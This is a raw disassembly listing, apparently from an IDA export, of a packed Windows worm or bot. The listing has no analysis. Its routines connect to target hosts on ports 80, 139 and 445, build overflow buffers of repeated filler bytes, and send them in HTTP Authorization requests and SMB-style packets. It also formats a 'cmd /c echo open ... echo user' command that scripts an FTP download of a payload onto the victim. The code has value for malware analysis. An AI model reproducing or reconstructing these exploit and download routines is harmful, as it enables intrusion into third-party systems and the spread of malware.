; CODE XREF: sub_403A68+12j pop esi retn 8 sub_403A68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A87 proc near ; CODE XREF: UPX0:0040430Cp Dst = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_403813 mov edi, 408h cmp [ebp+arg_8], edi jg loc_403DDB mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_403DDB push esi lea ecx, [ebp+var_30] call sub_403813 lea ecx, [ebp+var_20] call sub_403813 lea ecx, [ebp+var_50] call sub_403813 lea ecx, [ebp+var_18] call sub_403813 lea ecx, [ebp+var_40] call sub_403813 lea ecx, [ebp+var_38] call sub_403813 lea ecx, [ebp+var_28] call sub_403813 push 4 push offset dword_427648 lea ecx, [ebp+var_30] call sub_4039CB push 3 push offset dword_427650 lea ecx, [ebp+var_30] call sub_4039CB lea ecx, [ebp+var_30] call sub_403951 lea ecx, [ebp+var_30] call sub_403A2C mov esi, 800h lea eax, [ebp+Dst] push esi ; Size push 42h ; Val push eax ; Dst call _memset add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_42763C call sub_4039CB push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4039CB mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+Dst] push eax call sub_4039CB lea ecx, [ebp+var_20] call sub_403951 push offset loc_4279D0 ; Str lea ecx, [ebp+var_50] call sub_4039FF lea ecx, [ebp+var_50] call sub_403951 push esi ; Size lea eax, [ebp+Dst] push 44h ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] lea ecx, [ebp+var_58] push 410h ; Size push eax ; Src call sub_40381D lea ecx, [ebp+var_58] call sub_403951 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_403A68 lea ecx, [ebp+var_58] call sub_4038AC push esi ; Size lea eax, [ebp+Dst] push 43h ; Val push eax ; Dst call _memset add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_4039FF push 4 push offset dword_427654 lea ecx, [ebp+var_18] call sub_4039CB push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4039CB sub edi, [ebp+arg_8] lea eax, [ebp+Dst] lea ecx, [ebp+var_18] push edi push eax call sub_4039CB lea ecx, [ebp+var_18] call sub_403951 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_403A1C push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_403A1C lea ecx, [ebp+var_40] call sub_403A2C lea ecx, [ebp+var_18] call sub_4038AC lea ecx, [ebp+var_50] call sub_4038AC push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_403A1C push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_403A1C push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_403A1C lea ecx, [ebp+var_38] call sub_403A2C lea ecx, [ebp+var_20] call sub_4038AC lea ecx, [ebp+var_30] call sub_4038AC lea ecx, [ebp+var_40] call sub_4038AC push esi ; Size lea eax, [ebp+Dst] push 41h ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] lea ecx, [ebp+var_28] push 400h push eax call sub_4039CB lea ecx, [ebp+var_28] call sub_403951 push 2 push offset dword_4279C4 lea ecx, [ebp+var_28] call sub_4039CB push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_403A1C lea ecx, [ebp+var_28] call sub_403A2C lea ecx, [ebp+var_38] call sub_4038AC lea ecx, [ebp+var_10] call sub_403813 lea ecx, [ebp+var_8] call sub_403813 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_403A1C lea ecx, [ebp+var_10] call sub_4038C5 lea ecx, [ebp+var_28] call sub_4038AC push offset dword_4279C0 ; Str lea ecx, [ebp+var_8] call sub_4039FF push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A1C lea ecx, [ebp+var_8] call sub_4038C5 lea ecx, [ebp+var_10] call sub_4038AC push offset dword_4279BC ; Str lea ecx, [ebp+var_10] call sub_4039FF push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_403A1C lea ecx, [ebp+var_10] call sub_4038C5 lea ecx, [ebp+var_8] call sub_4038AC push offset dword_4279B0 ; Str lea ecx, [ebp+var_8] call sub_4039FF push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A1C lea ecx, [ebp+var_8] call sub_4038C5 lea ecx, [ebp+var_10] call sub_4038AC push offset dword_4279AC ; Str lea ecx, [ebp+var_48] call sub_4039FF push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_403A1C lea ecx, [ebp+var_8] call sub_4038AC mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_403DE9 ; --------------------------------------------------------------------------- loc_403DDB: ; CODE XREF: sub_403A87+1Bj ; sub_403A87+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_403DE9: ; CODE XREF: sub_403A87+352j pop edi pop ebx leave retn sub_403A87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DED proc near ; CODE XREF: sub_403EB1+A1p ; sub_403EB1+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_42320C ; select cmp eax, edi jnz short loc_403E54 lea eax, [ebp+var_10C] push eax push esi call sub_421F56 ; __WSAFDIsSet test eax, eax jnz short loc_403E58 loc_403E54: ; CODE XREF: sub_403DED+54j xor eax, eax jmp short loc_403E68 ; --------------------------------------------------------------------------- loc_403E58: ; CODE XREF: sub_403DED+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_43C630 ; recv loc_403E68: ; CODE XREF: sub_403DED+69j pop edi pop esi leave retn sub_403DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E6C proc near ; CODE XREF: sub_403EB1+81p ; sub_403EB1+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call ds:dword_43C614 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call ds:dword_43C668 ; send cmp eax, 4 jz short loc_403E96 xor al, al leave retn ; --------------------------------------------------------------------------- loc_403E96: ; CODE XREF: sub_403E6C+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_43C668 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403E6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_403EB1(int,void *Src,size_t Size) sub_403EB1 proc near ; CODE XREF: sub_403F8B+48p ; UPX0:00404407p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+Size] lea ebx, [edi+41h] push ebx ; Size mov [ebp+var_4], ebx call _malloc mov esi, eax pop ecx test esi, esi jnz short loc_403EDA xor al, al jmp loc_403F86 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_403EB1+20j push ebx ; Size push 0 ; Val push esi ; Dst call _memset push 2Fh ; Size push offset dword_4276E4 ; Src push esi ; Dst call _memcpy push 8 ; Size lea eax, [esi+31h] push offset dword_427714 ; Src push eax ; Dst mov [esi+2Fh], di call _memcpy push edi ; Size lea ebx, [esi+3Bh] push [ebp+Src] ; Src mov [esi+39h], di push ebx ; Dst call _memcpy push 6 ; Size add ebx, edi push offset dword_4397CC ; Src push ebx ; Dst call _memcpy mov ebx, [ebp+arg_0] push 85h push offset dword_42765C push ebx call sub_403E6C add esp, 48h test al, al jnz short loc_403F42 loc_403F3E: ; CODE XREF: sub_403EB1+B5j xor bl, bl jmp short loc_403F7D ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_403EB1+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DED push [ebp+var_4] push esi push ebx call sub_403E6C add esp, 1Ch test al, al jz short loc_403F3E push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DED add esp, 10h mov bl, 1 loc_403F7D: ; CODE XREF: sub_403EB1+8Fj push esi ; Memory call _free pop ecx mov al, bl loc_403F86: ; CODE XREF: sub_403EB1+24j pop edi pop esi pop ebx leave retn sub_403EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_403F8B(int,void *Src,size_t Size) sub_403F8B proc near ; CODE XREF: UPX0:004043EDp var_20 = byte ptr -20h arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_427720 push [ebp+arg_0] call ds:dword_423208 ; send cmp eax, 48h jnz short loc_403FC6 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_403DED add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403FC6 cmp [ebp+var_20], 82h jz short loc_403FCA loc_403FC6: ; CODE XREF: sub_403F8B+1Bj ; sub_403F8B+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403FCA: ; CODE XREF: sub_403F8B+39j push [ebp+Size] ; Size push [ebp+Src] ; Src push [ebp+arg_0] ; int call sub_403EB1 add esp, 0Ch leave retn sub_403F8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FDD proc near ; CODE XREF: sub_404029+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_423270 call __ftol and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_423268 fstp [esp+10h+var_10] call _floor fadd st, st pop ecx pop ecx fadd [ebp+var_8] call __ftol inc eax leave retn sub_403FDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_404029(int,int,__int16,char *Str) sub_404029 proc near ; CODE XREF: sub_4041CB+24p var_4C = qword ptr -4Ch var_38 = byte ptr -38h var_2C = dword ptr -2Ch var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_B = byte ptr 13h Src = dword ptr 14h mov eax, offset loc_4225F7 call __EH_prolog sub esp, 2Ch mov al, [ebp+arg_B] push ebx push esi push edi xor edi, edi lea ecx, [ebp+var_38] push edi mov [ebp+var_20], edi mov [ebp+var_38], al call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) push 1 pop ebx push dword ptr [ebp+10h] mov [ebp+var_4], ebx call sub_403FDD cmp [ebp+var_2C], eax pop ecx jnb short loc_40406B push edi push eax lea ecx, [ebp+var_38] call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool) loc_40406B: ; CODE XREF: sub_404029+36j cmp [ebp+10h], edi mov [ebp+var_18], edi jbe loc_404188 mov ebx, [ebp+10h] loc_40407A: ; CODE XREF: sub_404029+156j cmp dword ptr [ebp+10h], 3 jb short loc_404084 push 3 jmp short loc_404096 ; --------------------------------------------------------------------------- loc_404084: ; CODE XREF: sub_404029+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40408E push 2 jmp short loc_404096 ; --------------------------------------------------------------------------- loc_40408E: ; CODE XREF: sub_404029+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_404097 push 1 loc_404096: ; CODE XREF: sub_404029+59j ; sub_404029+63j pop ebx loc_404097: ; CODE XREF: sub_404029+69j mov dword ptr [ebp+var_28], ebx mov dword ptr [ebp+var_28+4], edi fild [ebp+var_28] push ecx push ecx ; double fmul ds:dbl_423280 fstp [esp+4Ch+var_4C] call _ceil pop ecx pop ecx call __ftol cmp ebx, edi mov [ebp+var_1C], eax jbe short loc_4040D6 mov esi, [ebp+arg_4] mov ecx, ebx mov edx, ecx lea edi, [ebp+var_10] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4040D6: ; CODE XREF: sub_404029+93j mov cl, [ebp+var_10] mov dl, [ebp+var_10] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp+var_14], cl mov cl, [ebp+var_F] sar cl, 4 and cl, 0Fh add [ebp+arg_4], ebx shl dl, 4 add cl, dl mov dl, [ebp+var_F] mov [ebp+var_13], cl mov cl, [ebp+var_E] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp+var_12], cl mov cl, [ebp+var_E] and cl, 3Fh cmp eax, edi mov [ebp+var_11], cl jbe short loc_404144 add [ebp+var_18], eax loc_404128: ; CODE XREF: sub_404029+119j movsx eax, [ebp+esi+var_14] lea ecx, [ebp+var_38] mov al, ds:byte_42776C[eax] push eax ; char push 1 ; Size call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char) inc esi cmp esi, [ebp+var_1C] jb short loc_404128 loc_404144: ; CODE XREF: sub_404029+FAj cmp [ebp+var_18], 48h jb short loc_404162 push [ebp+Src] ; Str call _strlen pop ecx push eax ; Size lea ecx, [ebp+var_38] push [ebp+Src] ; Src call sub_4044BE mov [ebp+var_18], edi loc_404162: ; CODE XREF: sub_404029+11Fj push 4 pop esi cmp [ebp+var_1C], esi jnb short loc_40417C sub esi, [ebp+var_1C] loc_40416D: ; CODE XREF: sub_404029+151j push 3Dh ; char push 1 ; Size lea ecx, [ebp+var_38] call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char) dec esi jnz short loc_40416D loc_40417C: ; CODE XREF: sub_404029+13Fj cmp [ebp+10h], edi ja loc_40407A push 1 pop ebx loc_404188: ; CODE XREF: sub_404029+48j mov esi, [ebp+arg_0] mov al, [ebp+var_38] push edi mov ecx, esi mov [esi], al call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) push ds:dword_423278 lea eax, [ebp+var_38] mov ecx, esi push edi push eax call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint) mov [ebp+var_20], ebx and byte ptr [ebp+var_4], 0 push ebx lea ecx, [ebp+var_38] call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) mov ecx, [ebp+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_404029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041CB proc near ; CODE XREF: UPX0:004043D0p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = byte ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch mov eax, offset loc_422614 call __EH_prolog sub esp, 10h push ebx push esi push edi push offset byte_4397BC ; Str lea eax, [ebp+var_1C] push dword ptr [ebp+arg_8] ; __int16 xor ebx, ebx mov [ebp+var_4], ebx push [ebp+arg_4] ; int push eax ; int call sub_404029 mov eax, [ebp+arg_14] mov ecx, [ebp+var_14] mov byte ptr [ebp+var_4], 1 lea esi, [ecx+eax+36h] push esi ; Size call _malloc mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_404215 xor bl, bl jmp short loc_404259 ; --------------------------------------------------------------------------- loc_404215: ; CODE XREF: sub_4041CB+44j mov ecx, [ebp+var_18] mov eax, offset dword_423288 cmp ecx, ebx jnz short loc_404223 mov ecx, eax loc_404223: ; CODE XREF: sub_4041CB+54j cmp [ebp+arg_10], ebx jz short loc_40422B mov eax, [ebp+arg_10] loc_40422B: ; CODE XREF: sub_4041CB+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi ; Count push edi ; Dest call __snprintf add esp, 14h push ebx push esi push edi push [ebp+arg_0] call ds:dword_43C668 ; send cmp eax, esi jz short loc_404250 xor bl, bl jmp short loc_404252 ; --------------------------------------------------------------------------- loc_404250: ; CODE XREF: sub_4041CB+7Fj mov bl, 1 loc_404252: ; CODE XREF: sub_4041CB+83j push edi ; Memory call _free pop ecx loc_404259: ; CODE XREF: sub_4041CB+48j and byte ptr [ebp+var_4], 0 push 1 lea ecx, [ebp+var_1C] call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) or [ebp+var_4], 0FFFFFFFFh push 1 lea ecx, [ebp+arg_C] call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) mov ecx, [ebp+var_C] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4041CB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 424h and byte ptr [ebp-424h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-423h] push 8Fh rep stosd stosw stosb lea eax, [ebp-424h] push offset sub_427918 push eax call _memcpy add esp, 0Ch mov eax, offset byte_42E664 push eax push eax push ds:dword_4397EC push dword ptr [ebp+8] call sub_40AEDB pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp-395h] push 400h push eax call __snprintf add eax, 90h push eax lea eax, [ebp-424h] push eax push 164h lea eax, [ebp-24h] push offset sub_4277B0 push eax call sub_403A87 mov ecx, [eax] xor esi, esi mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp-4], eax jnz short loc_40432C xor eax, eax jmp loc_404458 ; --------------------------------------------------------------------------- loc_40432C: ; CODE XREF: UPX0:00404323j mov [ebp-0Ch], esi loc_40432F: ; CODE XREF: UPX0:0040442Fj test esi, esi jnz loc_404435 push 6 push 1 push 2 call ds:dword_423214 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40441D xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call ds:dword_43C618 ; htons mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call ds:dword_43C658 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call ds:dword_43C5C0 ; connect cmp eax, 0FFFFFFFFh jz loc_404412 cmp dword ptr [ebp+0A8h], 50h jnz short loc_4043DA mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) lea eax, [ebp+0Ch] push eax call _strlen pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint) push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4041CB add esp, 1Ch jmp short loc_40440F ; --------------------------------------------------------------------------- loc_4043DA: ; CODE XREF: UPX0:00404398j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4043F4 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403F8B jmp short loc_40440C ; --------------------------------------------------------------------------- loc_4043F4: ; CODE XREF: UPX0:004043E4j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404412 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403EB1 loc_40440C: ; CODE XREF: UPX0:004043F2j add esp, 0Ch loc_40440F: ; CODE XREF: UPX0:004043D8j movzx esi, al loc_404412: ; CODE XREF: UPX0:0040438Bj ; UPX0:004043FEj push ebx call ds:dword_43C6B0 ; closesocket test esi, esi jnz short loc_404428 loc_40441D: ; CODE XREF: UPX0:00404348j push 3E8h call ds:dword_423060 ; Sleep loc_404428: ; CODE XREF: UPX0:0040441Bj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40432F loc_404435: ; CODE XREF: UPX0:00404331j lea ecx, [ebp-8] call sub_4038AC test esi, esi jz short loc_404456 mov eax, [ebp+0B0h] imul eax, 3Ch inc ds:dword_429CB8[eax] lea eax, dword_429CB8[eax] loc_404456: ; CODE XREF: UPX0:0040443Fj mov eax, esi loc_404458: ; CODE XREF: UPX0:00404327j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4225D8 loc_40445D: ; CODE XREF: sub_4225D8+3j ; sub_4225E0+11j ... push 1 call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) retn ; END OF FUNCTION CHUNK FOR sub_4225D8 ; [00000059 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_4044BE(void *Src,size_t Size) sub_4044BE proc near ; CODE XREF: sub_404029+131p Src = dword ptr 4 Size = dword ptr 8 mov eax, ds:dword_423278 push ebx mov ebx, [esp+4+Size] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4044D8 call sub_421E9A loc_4044D8: ; CODE XREF: sub_4044BE+13j test ebx, ebx jbe short loc_40450D mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool) test al, al jz short loc_40450D mov eax, [esi+8] push ebx ; Size push [esp+10h+Src] ; Src add eax, [esi+4] push eax ; Dst call _memcpy mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40450D: ; CODE XREF: sub_4044BE+1Cj ; sub_4044BE+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4044BE endp ; [000000CE BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS KEYPAD "+" TO EXPAND] ; [00000085 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND] ; [0000003C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool). PRESS KEYPAD "+" TO EXPAND] ; [00000035 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND] ; [000000BD BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint). PRESS KEYPAD "+" TO EXPAND] ; [00000030 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Split(void). PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40484F proc near ; DATA XREF: UPX0:0042500Co jmp $+5 sub_40484F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404854 proc near mov eax, ds:dword_427BE0 add eax, 6 mov ds:dword_4397D8, eax retn sub_404854 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_404862(int,char,int,__int16,int,size_t Size,int,void *Src,void *Memory,int,char) sub_404862 proc near ; CODE XREF: sub_404862+D0p ; sub_404950+471p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h Size = dword ptr 1Ch Src = dword ptr 24h Memory = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_404876 or [ebp+arg_7], 1 jmp short loc_40487A ; --------------------------------------------------------------------------- loc_404876: ; CODE XREF: sub_404862+Cj and [ebp+arg_7], 0FEh loc_40487A: ; CODE XREF: sub_404862+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+Memory] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40489E or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+Size], ebx mov [ebp+arg_C], ax jmp short loc_4048B0 ; --------------------------------------------------------------------------- loc_40489E: ; CODE XREF: sub_404862+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+Size], eax mov [ebp+arg_2B], 1 loc_4048B0: ; CODE XREF: sub_404862+3Aj movzx eax, [ebp+arg_C] push eax ; Size mov [ebp+var_4], eax call _malloc test eax, eax pop ecx mov [ebp+Memory], eax jz loc_404949 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+Size] mov esi, [ebp+Src] push edi ; Size add eax, 18h push esi ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+Memory] push [ebp+arg_0] call ds:dword_423078 test eax, eax jz short loc_404940 mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_404940 push [ebp+Memory] ; Memory call _free cmp [ebp+arg_2B], 0 pop ecx jz short loc_40493C push 0 ; char sub ebx, edi push [ebp+arg_24] ; int add edi, esi lea esi, [ebp+arg_4] push ebx ; Memory push edi ; Src sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] ; int rep movsd call sub_404862 add esp, 2Ch jmp short loc_40494B ; --------------------------------------------------------------------------- loc_40493C: ; CODE XREF: sub_404862+B3j mov al, 1 jmp short loc_40494B ; 